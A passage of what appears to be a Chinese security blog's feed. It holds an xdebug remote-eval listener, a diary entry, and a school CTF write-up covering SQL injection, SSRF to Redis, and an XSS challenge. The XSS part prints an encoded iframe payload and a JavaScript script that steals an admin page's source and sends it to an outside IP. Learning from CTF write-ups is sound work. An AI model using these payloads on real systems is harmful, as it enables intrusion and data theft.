socket.socket()<br>sk.bind(ip_port)<br>sk.listen(10)<br>conn, addr = sk.accept()</p><p>while True:<br> client_data = conn.recv(1024)<br> print(client_data)</p><pre><code>data = raw_input('>> ')conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))</code></pre><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">利用方式就是先运行exp监听9000端口</span><br><span class="line"></span><br><span class="line">获取连接```curl 'http://localhost/1.php?XDEBUG_SESSION_START=phpstrosssm' -H "X-Forwarded-For: 你的公网ip地址"</span><br></pre></td></tr></table></figure><p>然后exp接收到连接就可以调用system函数弹shell了.</p>]]></content>
<summary type="html">
<p>前一阵突然看到一个有关于xdebug的一个攻击面,不得不说这个想法还是很有意思的.自己搭环境记录一下.</p>
</summary>
</entry>
<entry>
<title>得过且过</title>
<link href="http://blog.leej.me/2017/06/08/%E5%BE%97%E8%BF%87%E4%B8%94%E8%BF%87/"/>
<id>http://blog.leej.me/2017/06/08/得过且过/</id>
<published>2017-06-08T01:17:20.000Z</published>
<updated>2018-02-07T04:11:15.523Z</updated>
<content type="html"><![CDATA[<p>6/8号 </p><p>复习概率论,突然有种恶心的感觉,我讨厌这种感觉,却总也逃不出去。<br><a id="more"></a><br> 收到阿里云发了域名即将到期的邮件,突然感觉这就一年了,时光总是不快不慢,在我们驻足的时候停留,想想去年买域名的时候算是我开始接触web,当时买了域名很激动,在本地写了个页面用花生壳映射到域名,倒腾到四点,意犹未尽。我喜欢那种感觉,很单纯的热爱,当时电分课黑板留着前一个班的板书,是计算机网络的,当时看到那些,心想,其实这才是我所热爱的,就转了专业。 </p><p> 再回首,自己喜欢但是上课却从来没听过,也许老天总是喜欢这么搞,有时候看到物理和数学,不曾想自己高中时那么的热爱,到了现在不过是一晚上的故事。也许没人想去搞懂其中的原因,只要知道这么搞就好了,我挣扎在其中,得过且过就好。 </p><p> 自己的激情挺多,总是有想法,自己写个博客,自己写个框架,但终是不了了之,身边的人总是呆在一个固定的框架中,总是觉得这都是一些没有意义的事,我想反驳,但总是耽搁,还是怪自己没有执行力。 </p><p>每天站在高楼上,看着地上的小蚂蚁,它们的头很大,它们的腿很细,上班就要迟到了,它们很着急。 </p><p>过的很压抑,慌慌张张,匆匆忙忙,总被拘束,自己喜欢为什么不去干。 </p><p>班上有位同学演讲,他不曾上过几次课,原因很简单,不喜欢,就没去。 </p><p> 我喜欢他的这份洒脱,我常想自己要有这一份境界就好了。自己就像是提线木偶,被点点滴滴的事情操作,总有很多功利的事,讨厌这样,有时候自己都不知道自己想的是什么,但是毋庸置疑的自己的热情,希望自己十年,二十年后依然可以保持着这份热情吧。 </p><p>生活最大的危险就是一个空虚的心灵,我们还是得过且过吧! </p><p>我想像风一样自由! </p>]]></content>
<summary type="html">
<p>6/8号 </p>
<p>复习概率论,突然有种恶心的感觉,我讨厌这种感觉,却总也逃不出去。<br>
</summary>
</entry>
<entry>
<title>校赛小记</title>
<link href="http://blog.leej.me/2017/05/30/%E6%A0%A1%E8%B5%9B%E5%B0%8F%E8%AE%B0/"/>
<id>http://blog.leej.me/2017/05/30/校赛小记/</id>
<published>2017-05-30T01:46:20.000Z</published>
<updated>2018-02-07T04:11:15.679Z</updated>
<content type="html"><![CDATA[<p>端午来临之际,校赛也来了,感觉师傅们出的题还是相当用心的,感觉还是学到了不少,涨了姿势,趁着就来记录一发吧。</p><a id="more"></a><h4 id="0x01简陋的博客"><a href="#0x01简陋的博客" class="headerlink" title="0x01简陋的博客"></a>0x01简陋的博客</h4><p>进去主页</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1i05tkwrj20ih09yjrs.jpg" alt=""></p><p>测试发现get提交数据过滤的很死</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1i1h9pr0j20g3033glk.jpg" alt=""></p><p>尝试了post提交服务端同样会接受,而且没有那么多的过滤,之后就是绕过article,之前一直在想单引号既然全局转义感觉基本没头绪,后面一想那个article可能不一定是字符,有可能是表明列明之类的,尝试了反引号成功绕过,后面这里就通过报错注入获得的表名,直接丢burp跑出表明flag_is_here</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1i8bxa5dj20ta0c1wfh.jpg" alt=""> </p><p>大胆的推测列名是flag,这里直接就可以查出flag </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1iazb43tj20lr0eo3z5.jpg" alt=""> </p><h4 id="0x02短域名工具"><a href="#0x02短域名工具" class="headerlink" title="0x02短域名工具"></a>0x02短域名工具</h4><p>打开是一个输入url的框框,大概功能是我们任意给个url,服务端会返回一个地址,当你访问该地址的时候,他会做个重定向到你的实际url,这里的话有几点测试的,一番测试后发现他会去检验我们的请求协议头是有特殊字符,还有就是他会禁止私有地址的访问,这里想到存在ssrf,首先测试一下服务端的确是会请求我们输入的地址,想到可能是curl访问的找了一个curl特有的协议dict://发现是支持的,确定了是curl,这里想可能有两种方式运行,一种是调用system()函数,或者是直接使用模块,如果是前者或许会有一些命令执行的漏洞,然后一番测试后发现%00产生警告,发现不是用的system()</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1iuoc2kvj212c0gvq3e.jpg" alt=""> </p><p>然后看到提示说明存在phpinfo页面,仔细看了一下,发现很特殊开了redis,想到可能是未授权访问但是觉得题目是在docker里不一定有crontab可以弹shell,当时还有个想法是flag在数据库里,我们读取出用某种特殊的路子带出来,发现这么做根本不行,于是尝试未授权访问,这里我是用的302跳转的私有ip,但是发现跳转的ip也执行不了命令后来把域名换成16进制ip就可以了,这里执行命令刚好配合dict://协议,协议利用这一部分后面专门总结一波。</p><h4 id="0x03中国菜刀"><a href="#0x03中国菜刀" class="headerlink" title="0x03中国菜刀"></a>0x03中国菜刀</h4><p>拿到题目,下载下来是一把菜刀,菜刀一般的菜刀都有后门,于是自己写一个假的shell,然后wireshark抓包分析 </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1j9eatmfj20j80ajdh7.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1j9oiqbnj20j807hwiq.jpg" alt=""> </p><p>得带一个base,然后解密可以得到一个地址<a href="http://118.89.225.190/shellbox.php?shell=" target="_blank" rel="noopener">http://118.89.225.190/shellbox.php?shell=</a> </p><p>一段测试后发现script被过滤了,想到可能是xss打后台 </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1jcd09s1j20gp043aa0.jpg" alt=""> </p><p>测试了一下发现iframe标签其实没被过滤,这里开始是想到bctf那道题通过srcdoc属性来利用,这里发现被过滤了,后来直接在src里直接document.write可以的,这里利用还要编码一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><IFrame Src="</span><br><span class="line">javascript:document.write('<script src=http://139.199.122.115/1.js></script>')"></IFRame></span><br></pre></td></tr></table></figure><p>其实算是第一次自己完整做一个xss的题,感觉这个题核心就两点第一是payload的绕过第二是js脚本,其实都比较简单,但是由于接触不多,搞起来还是有点麻烦,我先是在xss平台打到一个不是那么好,后来又提示是打到源码,之前打到一个页面址/shellbox_admin.php,我把平台上js连抄带改放到自己vps上,最开始是想读取到源码解析dns然后我通过dns获取数据,后来发现url太长超出范围就不行了,最后发现直接带数据跳转页面来的比较快,然后就连修带改把xss平台的代码改了改放到vps,在另外一台vps监听一下端口,</p><p>下面是构造的payload,之前的进行编码10进制,16进制就可以</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://118.89.225.190/shellbox.php?shell=%3CIFRAME%20SRC%3D%22%0A%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%23119%3B%26%23114%3B%26%23105%3B%26%23116%3B%26%23101%3B%26%2340%3B%26%2339%3B%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3Bhttp%3A%2f%2f139.199.122.115%2f1.js%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%26%2339%3B%26%2341%3B%22%3E%3C%2fIFRAME%3E%0A</span><br></pre></td></tr></table></figure><p>带到源码:</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1jwomsndj20ik0eitbq.jpg" alt=""> </p><p>拿到flag:</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1fg1jxp9plxj20vx0693ym.jpg" alt=""> </p><p>改的js脚本虽然比较p,但还是贴一下吧</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> cr;</span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">document</span>.charset) {</span><br><span class="line"> cr = <span class="built_in">document</span>.charset</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">document</span>.characterSet) {</span><br><span class="line"> cr = <span class="built_in">document</span>.characterSet</span><br><span class="line">};</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">createXmlHttp</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">window</span>.XMLHttpRequest) {</span><br><span class="line"> xmlHttp = <span class="keyword">new</span> XMLHttpRequest()</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">var</span> MSXML = <span class="keyword">new</span> <span class="built_in">Array</span>(<span class="string">'MSXML2.XMLHTTP.5.0'</span>, <span class="string">'MSXML2.XMLHTTP.4.0'</span>, <span class="string">'MSXML2.XMLHTTP.3.0'</span>, <span class="string">'MSXML2.XMLHTTP'</span>, <span class="string">'Microsoft.XMLHTTP'</span>);</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">var</span> n = <span class="number">0</span>; n < MSXML.length; n++) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> xmlHttp = <span class="keyword">new</span> ActiveXObject(MSXML[n]);</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> } <span class="keyword">catch</span> (e) {</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">createXmlHttp();</span><br><span class="line">xmlHttp.onreadystatechange = writeSource;</span><br><span class="line">xmlHttp.open(<span class="string">'GET'</span>, <span class="string">'shellbox_admin.php'</span>, <span class="literal">true</span>);</span><br><span class="line"><span class="comment">//xmlHttp.open('GET', 'http://'+code.slice(0,20)+'.2gbutj.ceye.io', true);</span></span><br><span class="line">xmlHttp.send(<span class="literal">null</span>);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">writeSource</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (xmlHttp.readyState == <span class="number">4</span>) {</span><br><span class="line"> <span class="keyword">var</span> code = BASE64.encoder(xmlHttp.responseText);</span><br><span class="line"> location.href=<span class="string">"http://98.142.138.246/"</span>+code;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">xssPost</span>(<span class="params">url, postStr</span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> de;</span><br><span class="line"> de = <span class="built_in">document</span>.body.appendChild(<span class="built_in">document</span>.createElement(<span class="string">'iframe'</span>));</span><br><span class="line"> de.src = <span class="string">'about:blank'</span>;</span><br><span class="line"> de.height = <span class="number">1</span>;</span><br><span class="line"> de.width = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> de.contentDocument.write(<span class="string">'<form method="POST" action="'</span> + url + <span class="string">'"><input name="code" value="'</span> + postStr + <span class="string">'"/></form>'</span>);</span><br><span class="line"> de.contentDocument.forms[<span class="number">0</span>].submit();</span><br><span class="line"> de.style.display = <span class="string">'none'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *create by 2012-08-25 pm 17:48</span></span><br><span class="line"><span class="comment"> *@author [email protected]</span></span><br><span class="line"><span class="comment"> *BASE64 Encode and Decode By UTF-8 unicode</span></span><br><span class="line"><span class="comment"> *可以和java的BASE64编码和解码互相转化</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">var</span> BASE64_MAPPING = [</span><br><span class="line"><span class="string">'A'</span>,<span class="string">'B'</span>,<span class="string">'C'</span>,<span class="string">'D'</span>,<span class="string">'E'</span>,<span class="string">'F'</span>,<span class="string">'G'</span>,<span class="string">'H'</span>,</span><br><span class="line"><span class="string">'I'</span>,<span class="string">'J'</span>,<span class="string">'K'</span>,<span class="string">'L'</span>,<span class="string">'M'</span>,<span class="string">'N'</span>,<span class="string">'O'</span>,<span class="string">'P'</span>,</span><br><span class="line"><span class="string">'Q'</span>,<span class="string">'R'</span>,<span class="string">'S'</span>,<span class="string">'T'</span>,<span class="string">'U'</span>,<span class="string">'V'</span>,<span class="string">'W'</span>,<span class="string">'X'</span>,</span><br><span class="line"><span class="string">'Y'</span>,<span class="string">'Z'</span>,<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>,<span class="string">'e'</span>,<span class="string">'f'</span>,</span><br><span class="line"><span class="string">'g'</span>,<span class="string">'h'</span>,<span class="string">'i'</span>,<span class="string">'j'</span>,<span class="string">'k'</span>,<span class="string">'l'</span>,<span class="string">'m'</span>,<span class="string">'n'</span>,</span><br><span class="line"><span class="string">'o'</span>,<span class="string">'p'</span>,<span class="string">'q'</span>,<span class="string">'r'</span>,<span class="string">'s'</span>,<span class="string">'t'</span>,<span class="string">'u'</span>,<span class="string">'v'</span>,</span><br><span class="line"><span class="string">'w'</span>,<span class="string">'x'</span>,<span class="string">'y'</span>,<span class="string">'z'</span>,<span class="string">'0'</span>,<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>,</span><br><span class="line"><span class="string">'4'</span>,<span class="string">'5'</span>,<span class="string">'6'</span>,<span class="string">'7'</span>,<span class="string">'8'</span>,<span class="string">'9'</span>,<span class="string">'+'</span>,<span class="string">'/'</span></span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *ascii convert to binary</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">var</span> _toBinary = <span class="function"><span class="keyword">function</span>(<span class="params">ascii</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> binary = <span class="keyword">new</span> <span class="built_in">Array</span>();</span><br><span class="line"><span class="keyword">while</span>(ascii > <span class="number">0</span>){</span><br><span class="line"><span class="keyword">var</span> b = ascii%<span class="number">2</span>;</span><br><span class="line">ascii = <span class="built_in">Math</span>.floor(ascii/<span class="number">2</span>);</span><br><span class="line">binary.push(b);</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">var len = binary.length;</span></span><br><span class="line"><span class="comment">if(6-len > 0){</span></span><br><span class="line"><span class="comment">for(var i = 6-len ; i > 0 ; --i){</span></span><br><span class="line"><span class="comment">binary.push(0);</span></span><br><span class="line"><span class="comment">}</span></span><br><span class="line"><span class="comment">}*/</span></span><br><span class="line">binary.reverse();</span><br><span class="line"><span class="keyword">return</span> binary;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *binary convert to decimal</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">var</span> _toDecimal = <span class="function"><span class="keyword">function</span>(<span class="params">binary</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> dec = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">var</span> p = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = binary.length<span class="number">-1</span> ; i >= <span class="number">0</span> ; --i){</span><br><span class="line"><span class="keyword">var</span> b = binary[i];</span><br><span class="line"><span class="keyword">if</span>(b == <span class="number">1</span>){</span><br><span class="line">dec += <span class="built_in">Math</span>.pow(<span class="number">2</span> , p);</span><br><span class="line">}</span><br><span class="line">++p;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> dec;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *unicode convert to utf-8</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">var</span> _toUTF8Binary = <span class="function"><span class="keyword">function</span>(<span class="params">c , binaryArray</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> mustLen = (<span class="number">8</span>-(c+<span class="number">1</span>)) + ((c<span class="number">-1</span>)*<span class="number">6</span>);</span><br><span class="line"><span class="keyword">var</span> fatLen = binaryArray.length;</span><br><span class="line"><span class="keyword">var</span> diff = mustLen - fatLen;</span><br><span class="line"><span class="keyword">while</span>(--diff >= <span class="number">0</span>){</span><br><span class="line">binaryArray.unshift(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">var</span> binary = [];</span><br><span class="line"><span class="keyword">var</span> _c = c;</span><br><span class="line"><span class="keyword">while</span>(--_c >= <span class="number">0</span>){</span><br><span class="line">binary.push(<span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line">binary.push(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">var</span> i = <span class="number">0</span> , len = <span class="number">8</span> - (c+<span class="number">1</span>);</span><br><span class="line"><span class="keyword">for</span>(; i < len ; ++i){</span><br><span class="line">binary.push(binaryArray[i]);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> j = <span class="number">0</span> ; j < c<span class="number">-1</span> ; ++j){</span><br><span class="line">binary.push(<span class="number">1</span>);</span><br><span class="line">binary.push(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">var</span> sum = <span class="number">6</span>;</span><br><span class="line"><span class="keyword">while</span>(--sum >= <span class="number">0</span>){</span><br><span class="line">binary.push(binaryArray[i++]);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> binary;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> __BASE64 = {</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *BASE64 Encode</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">encoder:<span class="function"><span class="keyword">function</span>(<span class="params">str</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> base64_Index = [];</span><br><span class="line"><span class="keyword">var</span> binaryArray = [];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span> , len = str.length ; i < len ; ++i){</span><br><span class="line"><span class="keyword">var</span> unicode = str.charCodeAt(i);</span><br><span class="line"><span class="keyword">var</span> _tmpBinary = _toBinary(unicode);</span><br><span class="line"><span class="keyword">if</span>(unicode < <span class="number">0x80</span>){</span><br><span class="line"><span class="keyword">var</span> _tmpdiff = <span class="number">8</span> - _tmpBinary.length;</span><br><span class="line"><span class="keyword">while</span>(--_tmpdiff >= <span class="number">0</span>){</span><br><span class="line">_tmpBinary.unshift(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line">binaryArray = binaryArray.concat(_tmpBinary);</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(unicode >= <span class="number">0x80</span> && unicode <= <span class="number">0x7FF</span>){</span><br><span class="line">binaryArray = binaryArray.concat(_toUTF8Binary(<span class="number">2</span> , _tmpBinary));</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(unicode >= <span class="number">0x800</span> && unicode <= <span class="number">0xFFFF</span>){<span class="comment">//UTF-8 3byte</span></span><br><span class="line">binaryArray = binaryArray.concat(_toUTF8Binary(<span class="number">3</span> , _tmpBinary));</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(unicode >= <span class="number">0x10000</span> && unicode <= <span class="number">0x1FFFFF</span>){<span class="comment">//UTF-8 4byte</span></span><br><span class="line">binaryArray = binaryArray.concat(_toUTF8Binary(<span class="number">4</span> , _tmpBinary));</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(unicode >= <span class="number">0x200000</span> && unicode <= <span class="number">0x3FFFFFF</span>){<span class="comment">//UTF-8 5byte</span></span><br><span class="line">binaryArray = binaryArray.concat(_toUTF8Binary(<span class="number">5</span> , _tmpBinary));</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(unicode >= <span class="number">4000000</span> && unicode <= <span class="number">0x7FFFFFFF</span>){<span class="comment">//UTF-8 6byte</span></span><br><span class="line">binaryArray = binaryArray.concat(_toUTF8Binary(<span class="number">6</span> , _tmpBinary));</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> extra_Zero_Count = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span> , len = binaryArray.length ; i < len ; i+=<span class="number">6</span>){</span><br><span class="line"><span class="keyword">var</span> diff = (i+<span class="number">6</span>)-len;</span><br><span class="line"><span class="keyword">if</span>(diff == <span class="number">2</span>){</span><br><span class="line">extra_Zero_Count = <span class="number">2</span>;</span><br><span class="line">}<span class="keyword">else</span> <span class="keyword">if</span>(diff == <span class="number">4</span>){</span><br><span class="line">extra_Zero_Count = <span class="number">4</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">//if(extra_Zero_Count > 0){</span></span><br><span class="line"><span class="comment">//len += extra_Zero_Count+1;</span></span><br><span class="line"><span class="comment">//}</span></span><br><span class="line"><span class="keyword">var</span> _tmpExtra_Zero_Count = extra_Zero_Count;</span><br><span class="line"><span class="keyword">while</span>(--_tmpExtra_Zero_Count >= <span class="number">0</span>){</span><br><span class="line">binaryArray.push(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line">base64_Index.push(_toDecimal(binaryArray.slice(i , i+<span class="number">6</span>)));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> base64 = <span class="string">''</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span> , len = base64_Index.length ; i < len ; ++i){</span><br><span class="line">base64 += BASE64_MAPPING[base64_Index[i]];</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span> , len = extra_Zero_Count/<span class="number">2</span> ; i < len ; ++i){</span><br><span class="line">base64 += <span class="string">'='</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> base64;</span><br><span class="line">},</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *BASE64 Decode for UTF-8 </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">decoder : <span class="function"><span class="keyword">function</span>(<span class="params">_base64Str</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> _len = _base64Str.length;</span><br><span class="line"><span class="keyword">var</span> extra_Zero_Count = <span class="number">0</span>;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> *计算在进行BASE64编码的时候,补了几个0</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">if</span>(_base64Str.charAt(_len<span class="number">-1</span>) == <span class="string">'='</span>){</span><br><span class="line"><span 